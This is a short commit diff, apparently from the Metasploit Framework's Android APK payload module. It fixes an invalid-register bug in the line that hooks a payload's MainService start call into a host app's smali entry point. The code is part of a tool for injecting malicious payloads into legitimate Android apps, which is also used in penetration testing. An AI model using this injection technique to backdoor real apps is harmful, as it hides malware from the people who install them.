fix #7617, invalid register when hooking smali code
parent
b94eefe724
commit
f8f764aefc
|
@ -227,7 +227,7 @@ class Msf::Payload::Apk
|
|||
end
|
||||
|
||||
payloadhook = entrypoint + %Q^
|
||||
invoke-static {p0}, L#{package_slash}/MainService;->startService(Landroid/content/Context;)V
|
||||
invoke-static {}, L#{package_slash}/MainService;->start()V
|
||||
^
|
||||
hookedsmali = activitysmali.gsub(entrypoint, payloadhook)
|
||||
|
||||
|
|
Loading…
Reference in New Issue